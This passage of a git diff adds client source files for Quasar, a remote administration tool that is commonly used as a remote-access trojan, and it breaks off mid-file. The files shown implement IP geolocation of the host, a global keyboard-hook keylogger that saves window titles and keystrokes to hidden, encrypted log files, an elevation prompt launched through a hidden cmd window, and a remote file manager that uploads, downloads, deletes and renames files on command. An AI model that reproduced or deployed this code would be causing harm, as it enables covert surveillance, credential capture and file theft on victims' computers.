minutes. + /// + public static class GeoInformationFactory + { + /// + /// Retriever used to get geolocation information about the WAN IP address. + /// + private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever(); + + /// + /// Used to cache the latest IP geolocation information. + /// + private static GeoInformation _geoInformation; + + /// + /// Time of the last successful location retrieval. + /// + private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + /// + /// The minimum amount of minutes a successful IP geolocation retrieval is valid. + /// + private const int MINIMUM_VALID_TIME = 60 * 12; + + /// + /// Gets the IP geolocation information, either cached or freshly retrieved if more than minutes have passed. + /// + /// The latest IP geolocation information. + public static GeoInformation GetGeoInformation() + { + var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks); + + if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME) + { + _geoInformation = Retriever.Retrieve(); + _lastSuccessfulLocation = DateTime.UtcNow; + } + + return _geoInformation; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100644 index 000000000..bb44f14b1 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,174 @@ +using Quasar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + var geoInfo = JsonHelper.Deserialize(dataStream); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Ip, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + Timezone = geoInfo.Timezone.UTC, + Asn = geoInfo.Connection.ASN.ToString(), + Isp = geoInfo.Connection.ISP + }; + + return g; + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar.Client/IpGeoLocation/GeoResponse.cs new file mode 100644 index 000000000..6fda68491 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,45 @@ +using System.Runtime.Serialization; + +namespace Quasar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name = "ip")] + public string Ip { get; set; } + + [DataMember(Name = "continent_code")] + public string ContinentCode { get; set; } + + [DataMember(Name = "country")] + public string Country { get; set; } + + [DataMember(Name = "country_code")] + public string CountryCode { get; set; } + + [DataMember(Name = "timezone")] + public Time Timezone { get; set; } + + [DataMember(Name = "connection")] + public Conn Connection { get; set; } + + } + + + + [DataContract] + public class Time + { + [DataMember(Name = "utc")] + public string UTC { get; set; } + } + [DataContract] + public class Conn + { + [DataMember(Name = "asn")] + public string ASN { get; set; } + + [DataMember(Name = "isp")] + public string ISP { get; set; } + } +} diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs new file mode 100644 index 000000000..c8cccd56d --- /dev/null +++ b/Quasar.Client/Logging/Keylogger.cs @@ -0,0 +1,380 @@ +using Gma.System.MouseKeyHook; +using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Web; +using System.Windows.Forms; +using Timer = System.Timers.Timer; + +namespace Quasar.Client.Logging +{ + /// + /// This class provides keylogging functionality and modifies/highlights the output for + /// better user experience. + /// + public class Keylogger : IDisposable + { + /// + /// True if the class has already been disposed, else false. + /// + public bool IsDisposed { get; private set; } + + /// + /// The timer used to periodically flush the from memory to disk. + /// + private readonly Timer _timerFlush; + + /// + /// The buffer used to store the logged keys in memory. + /// + private readonly StringBuilder _logFileBuffer = new StringBuilder(); + + /// + /// Temporary list of pressed keys while they are being processed. + /// + private readonly List _pressedKeys = new List(); + + /// + /// Temporary list of pressed keys chars while they are being processed. + /// + private readonly List _pressedKeyChars = new List(); + + /// + /// Saves the last window title of an application. + /// + private string _lastWindowTitle = string.Empty; + + /// + /// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed. + /// + private bool _ignoreSpecialKeys; + + /// + /// Used to hook global mouse and keyboard events. + /// + private readonly IKeyboardMouseEvents _mEvents; + + /// + /// Provides encryption and decryption methods to securely store log files. + /// + private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); + + /// + /// The maximum size of a single log file. + /// + private readonly long _maxLogFileSize; + + /// + /// Initializes a new instance of that provides keylogging functionality. + /// + /// The interval to flush the buffer from memory to disk. + /// The maximum size of a single log file. + public Keylogger(double flushInterval, long maxLogFileSize) + { + _maxLogFileSize = maxLogFileSize; + _mEvents = Hook.GlobalEvents(); + _timerFlush = new Timer { Interval = flushInterval }; + _timerFlush.Elapsed += TimerElapsed; + } + + /// + /// Begins logging of keys. + /// + public void Start() + { + Subscribe(); + _timerFlush.Start(); + } + + /// + /// Disposes used resources by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + Unsubscribe(); + _timerFlush.Stop(); + _timerFlush.Dispose(); + _mEvents.Dispose(); + WriteFile(); + } + + IsDisposed = true; + } + + /// + /// Subscribes to all key events. + /// + private void Subscribe() + { + _mEvents.KeyDown += OnKeyDown; + _mEvents.KeyUp += OnKeyUp; + _mEvents.KeyPress += OnKeyPress; + } + + /// + /// Unsubscribes from all key events. + /// + private void Unsubscribe() + { + _mEvents.KeyDown -= OnKeyDown; + _mEvents.KeyUp -= OnKeyUp; + _mEvents.KeyPress -= OnKeyPress; + } + + /// + /// Initial handling of the key down events and updates the window title. + /// + /// The sender of the event. + /// The key event args, e.g. the keycode. + /// This event handler is called first. + private void OnKeyDown(object sender, KeyEventArgs e) + { + string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle(); + if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) + { + _lastWindowTitle = activeWindowTitle; + _logFileBuffer.Append(@"



[" + + HttpUtility.HtmlEncode(activeWindowTitle) + " - " + + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo) + + " UTC]


"); + } + + if (_pressedKeys.ContainsModifierKeys()) + { + if (!_pressedKeys.Contains(e.KeyCode)) + { + Debug.WriteLine("OnKeyDown: " + e.KeyCode); + _pressedKeys.Add(e.KeyCode); + return; + } + } + + if (!e.KeyCode.IsExcludedKey()) + { + // The key was not part of the keys that we wish to filter, so + // be sure to prevent a situation where multiple keys are pressed. + if (!_pressedKeys.Contains(e.KeyCode)) + { + Debug.WriteLine("OnKeyDown: " + e.KeyCode); + _pressedKeys.Add(e.KeyCode); + } + } + } + + /// + /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here. + /// + /// The sender of the event. + /// The key press event args, especially the pressed KeyChar. + /// This event handler is called second. + private void OnKeyPress(object sender, KeyPressEventArgs e) + { + if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar)) + return; + + if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) + { + var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString()); + if (!string.IsNullOrEmpty(filtered)) + { + Debug.WriteLine("OnKeyPress Output: " + filtered); + if (_pressedKeys.ContainsModifierKeys()) + _ignoreSpecialKeys = true; + + _pressedKeyChars.Add(e.KeyChar); + _logFileBuffer.Append(filtered); + } + } + } + + /// + /// Finishes processing of the keys. + /// + /// The sender of the event. + /// The key event args. + /// This event handler is called third. + private void OnKeyUp(object sender, KeyEventArgs e) + { + _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); + _pressedKeyChars.Clear(); + } + + /// + /// Finds a held down key char in a given key char list. + /// + /// The list of key chars. + /// The key char to search for. + /// True if the list contains the key char, else false. + private bool DetectKeyHolding(List list, char search) + { + return list.FindAll(s => s.Equals(search)).Count > 1; + } + + /// + /// Adds special highlighting in HTML to the special keys. + /// + /// The input keys. + /// The highlighted special keys. + private string HighlightSpecialKeys(Keys[] keys) + { + if (keys.Length < 1) return string.Empty; + + string[] names = new string[keys.Length]; + for (int i = 0; i < keys.Length; i++) + { + if (!_ignoreSpecialKeys) + { + names[i] = keys[i].GetDisplayName(); + Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); + } + else + { + names[i] = string.Empty; + _pressedKeys.Remove(keys[i]); + } + } + + _ignoreSpecialKeys = false; + + if (_pressedKeys.ContainsModifierKeys()) + { + StringBuilder specialKeys = new StringBuilder(); + + int validSpecialKeys = 0; + for (int i = 0; i < names.Length; i++) + { + _pressedKeys.Remove(keys[i]); + if (string.IsNullOrEmpty(names[i])) continue; + + specialKeys.AppendFormat((validSpecialKeys == 0) ? @"

[{0}" : " + {0}", names[i]); + validSpecialKeys++; + } + + // If there are items in the special keys string builder, give it an ending tag + if (validSpecialKeys > 0) + specialKeys.Append("]

"); + + Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString()); + return specialKeys.ToString(); + } + + StringBuilder normalKeys = new StringBuilder(); + + for (int i = 0; i < names.Length; i++) + { + _pressedKeys.Remove(keys[i]); + if (string.IsNullOrEmpty(names[i])) continue; + + switch (names[i]) + { + case "Return": + normalKeys.Append(@"

[Enter]


"); + break; + case "Escape": + normalKeys.Append(@"

[Esc]

"); + break; + default: + normalKeys.Append(@"

[" + names[i] + "]

"); + break; + } + } + + Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString()); + return normalKeys.ToString(); + } + + private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) + { + if (_logFileBuffer.Length > 0) + WriteFile(); + } + + /// + /// Writes the logged keys from memory to disk. + /// + private void WriteFile() + { + // TODO: Add some house-keeping and delete old log entries + bool writeHeader = false; + + string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd")); + + try + { + DirectoryInfo di = new DirectoryInfo(Settings.LOGSPATH); + + if (!di.Exists) + di.Create(); + + if (Settings.HIDELOGDIRECTORY) + di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; + + int i = 1; + while (File.Exists(filePath)) + { + // Large log files take a very long time to read, decrypt and append new logs to, + // so create a new log file if the size of the previous one exceeds _maxLogFileSize. + long length = new FileInfo(filePath).Length; + if (length < _maxLogFileSize) + { + break; + } + + // append a number to the file name + var newFileName = $"{Path.GetFileName(filePath)}_{i}"; + filePath = Path.Combine(Settings.LOGSPATH, newFileName); + i++; + } + + if (!File.Exists(filePath)) + writeHeader = true; + + StringBuilder logFile = new StringBuilder(); + + if (writeHeader) + { + logFile.Append( + "Log created on " + + DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC

"); + + logFile.Append(""); + + _lastWindowTitle = string.Empty; + } + + if (_logFileBuffer.Length > 0) + { + logFile.Append(_logFileBuffer); + } + + FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance); + + logFile.Clear(); + } + catch + { + } + + _logFileBuffer.Clear(); + } + } +} diff --git a/Quasar.Client/Logging/KeyloggerService.cs b/Quasar.Client/Logging/KeyloggerService.cs new file mode 100644 index 000000000..769546ee6 --- /dev/null +++ b/Quasar.Client/Logging/KeyloggerService.cs @@ -0,0 +1,68 @@ +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Logging +{ + /// + /// Provides a service to run the keylogger. + /// + public class KeyloggerService : IDisposable + { + /// + /// The thread containing the executed keylogger and message loop. + /// + private readonly Thread _msgLoopThread; + + /// + /// The message loop which is needed to receive key events. + /// + private ApplicationContext _msgLoop; + + /// + /// Provides keylogging functionality. + /// + private Keylogger _keylogger; + + /// + /// Initializes a new instance of . + /// + public KeyloggerService() + { + _msgLoopThread = new Thread(() => + { + _msgLoop = new ApplicationContext(); + _keylogger = new Keylogger(15000, 5 * 1024 * 1024); + _keylogger.Start(); + Application.Run(_msgLoop); + }); + } + + /// + /// Starts the keylogger and message loop. + /// + public void Start() + { + _msgLoopThread.Start(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this keylogger service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected void Dispose(bool disposing) + { + if (disposing) + { + _keylogger.Dispose(); + _msgLoop.ExitThread(); + _msgLoop.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Messages/ClientServicesHandler.cs b/Quasar.Client/Messages/ClientServicesHandler.cs new file mode 100644 index 000000000..44bc8990c --- /dev/null +++ b/Quasar.Client/Messages/ClientServicesHandler.cs @@ -0,0 +1,113 @@ +using Quasar.Client.Config; +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.User; +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ClientServicesHandler : IMessageProcessor + { + private readonly QuasarClient _client; + + private readonly QuasarApplication _application; + + public ClientServicesHandler(QuasarApplication application, QuasarClient client) + { + _application = application; + _client = client; + } + + /// + public bool CanExecute(IMessage message) => message is DoClientUninstall || + message is DoClientDisconnect || + message is DoClientReconnect || + message is DoAskElevate; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoClientUninstall msg: + Execute(sender, msg); + break; + case DoClientDisconnect msg: + Execute(sender, msg); + break; + case DoClientReconnect msg: + Execute(sender, msg); + break; + case DoAskElevate msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoClientUninstall message) + { + client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" }); + try + { + new ClientUninstaller().Uninstall(); + _client.Exit(); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoClientDisconnect message) + { + _client.Exit(); + } + + private void Execute(ISender client, DoClientReconnect message) + { + _client.Disconnect(); + } + + private void Execute(ISender client, DoAskElevate message) + { + var userAccount = new UserAccount(); + if (userAccount.Type != AccountType.Admin) + { + ProcessStartInfo processStartInfo = new ProcessStartInfo + { + FileName = "cmd", + Verb = "runas", + Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true + }; + + _application.ApplicationMutex.Dispose(); // close the mutex so the new process can run + try + { + Process.Start(processStartInfo); + } + catch + { + client.Send(new SetStatus {Message = "User refused the elevation request."}); + _application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex + return; + } + _client.Exit(); + } + else + { + client.Send(new SetStatus { Message = "Process already elevated." }); + } + } + } +} diff --git a/Quasar.Client/Messages/FileManagerHandler.cs b/Quasar.Client/Messages/FileManagerHandler.cs new file mode 100644 index 000000000..49a0ba504 --- /dev/null +++ b/Quasar.Client/Messages/FileManagerHandler.cs @@ -0,0 +1,493 @@ +using Quasar.Client.Networking; +using Quasar.Common; +using Quasar.Common.Enums; +using Quasar.Common.Extensions; +using Quasar.Common.Helpers; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Security; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class FileManagerHandler : NotificationMessageProcessor, IDisposable + { + private readonly ConcurrentDictionary _activeTransfers = new ConcurrentDictionary(); + private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + + private readonly QuasarClient _client; + + private CancellationTokenSource _tokenSource; + + private CancellationToken _token; + + public FileManagerHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + switch (connected) + { + case true: + + _tokenSource?.Dispose(); + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + break; + case false: + // cancel all running transfers on disconnect + _tokenSource.Cancel(); + break; + } + } + + public override bool CanExecute(IMessage message) => message is GetDrives || + message is GetDirectory || + message is FileTransferRequest || + message is FileTransferCancel || + message is FileTransferChunk || + message is DoPathDelete || + message is DoPathRename; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDrives msg: + Execute(sender, msg); + break; + case GetDirectory msg: + Execute(sender, msg); + break; + case FileTransferRequest msg: + Execute(sender, msg); + break; + case FileTransferCancel msg: + Execute(sender, msg); + break; + case FileTransferChunk msg: + Execute(sender, msg); + break; + case DoPathDelete msg: + Execute(sender, msg); + break; + case DoPathRename msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetDrives command) + { + DriveInfo[] driveInfos; + try + { + driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); + } + catch (IOException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false }); + return; + } + catch (UnauthorizedAccessException) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false }); + return; + } + + if (driveInfos.Length == 0) + { + client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false }); + return; + } + + Drive[] drives = new Drive[driveInfos.Length]; + for (int i = 0; i < drives.Length; i++) + { + try + { + var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel) + ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].VolumeLabel, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat) + : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName, + driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat); + + drives[i] = new Drive + { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName }; + } + catch (Exception) + { + + } + } + + client.Send(new GetDrivesResponse { Drives = drives }); + } + + private void Execute(ISender client, GetDirectory message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath); + + FileInfo[] files = dicInfo.GetFiles(); + DirectoryInfo[] directories = dicInfo.GetDirectories(); + + FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; + + int offset = 0; + for (int i = 0; i < directories.Length; i++, offset++) + { + items[i] = new FileSystemEntry + { + EntryType = FileType.Directory, + Name = directories[i].Name, + Size = 0, + LastAccessTimeUtc = directories[i].LastAccessTimeUtc + }; + } + + for (int i = 0; i < files.Length; i++) + { + items[i + offset] = new FileSystemEntry + { + EntryType = FileType.File, + Name = files[i].Name, + Size = files[i].Length, + ContentType = Path.GetExtension(files[i].Name).ToContentType(), + LastAccessTimeUtc = files[i].LastAccessTimeUtc + }; + } + + client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items }); + } + catch (UnauthorizedAccessException) + { + onError("GetDirectory No permission"); + } + catch (SecurityException) + { + onError("GetDirectory No permission"); + } + catch (PathTooLongException) + { + onError("GetDirectory Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("GetDirectory Directory not found"); + } + catch (FileNotFoundException) + { + onError("GetDirectory File not found"); + } + catch (IOException) + { + onError("GetDirectory I/O error"); + } + catch (Exception) + { + onError("GetDirectory Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true }); + } + } + + private void Execute(ISender client, FileTransferRequest message) + { + new Thread(() => + { + _limitThreads.WaitOne(); + try + { + using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read)) + { + _activeTransfers[message.Id] = srcFile; + OnReport("File upload started"); + foreach (var chunk in srcFile) + { + if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id)) + break; + + // blocking sending might not be required, needs further testing + _client.SendBlocking(new FileTransferChunk + { + Id = message.Id, + FilePath = message.RemotePath, + FileSize = srcFile.FileSize, + Chunk = chunk + }); + } + + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = message.RemotePath + }); + } + } + catch (Exception) + { + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error reading file" + }); + } + finally + { + RemoveFileTransfer(message.Id); + _limitThreads.Release(); + } + }).Start(); + } + + private void Execute(ISender client, FileTransferCancel message) + { + if (_activeTransfers.ContainsKey(message.Id)) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Canceled" + }); + } + } + + private void Execute(ISender client, FileTransferChunk message) + { + try + { + if (message.Chunk.Offset == 0) + { + string filePath = message.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + // generate new temporary file path if empty + filePath = FileHelper.GetTempFilePath(".exe"); + } + + if (File.Exists(filePath)) + { + // delete existing file + NativeMethods.DeleteFile(filePath); + } + + _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write); + OnReport("File download started"); + } + + if (!_activeTransfers.ContainsKey(message.Id)) + return; + + var destFile = _activeTransfers[message.Id]; + destFile.WriteChunk(message.Chunk); + + if (destFile.FileSize == message.FileSize) + { + client.Send(new FileTransferComplete + { + Id = message.Id, + FilePath = destFile.FilePath + }); + RemoveFileTransfer(message.Id); + } + } + catch (Exception) + { + RemoveFileTransfer(message.Id); + client.Send(new FileTransferCancel + { + Id = message.Id, + Reason = "Error writing file" + }); + } + } + + private void Execute(ISender client, DoPathDelete message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Delete(message.Path, true); + client.Send(new SetStatusFileManager + { + Message = "Deleted directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Delete(message.Path); + client.Send(new SetStatusFileManager + { + Message = "Deleted file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); + } + catch (UnauthorizedAccessException) + { + onError("DeletePath No permission"); + } + catch (PathTooLongException) + { + onError("DeletePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("DeletePath Path not found"); + } + catch (IOException) + { + onError("DeletePath I/O error"); + } + catch (Exception) + { + onError("DeletePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathRename message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) }); + } + catch (UnauthorizedAccessException) + { + onError("RenamePath No permission"); + } + catch (PathTooLongException) + { + onError("RenamePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("RenamePath Path not found"); + } + catch (IOException) + { + onError("RenamePath I/O error"); + } + catch (Exception) + { + onError("RenamePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void RemoveFileTransfer(int id) + { + if (_activeTransfers.ContainsKey(id)) + { + _activeTransfers[id]?.Dispose(); + _activeTransfers.TryRemove(id, out _); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + foreach (var transfer in _activeTransfers) + { + transfer.Value?.Dispose(); + } + + _activeTransfers.Clear(); + } + } + } +} diff --git a/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar.Client/Messages/KeyloggerHandler.cs new file mode 100644 index 000000000..4a91637b4 --- /dev/null +++ b/Quasar.Client/Messages/KeyloggerHandler.cs @@ -0,0 +1,28 @@ +using Quasar.Client.Config; +using Quasar.Common.Messages; +using Quasar.Common.Networking; + +namespace Quasar.Client.Messages +{ + public class KeyloggerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + 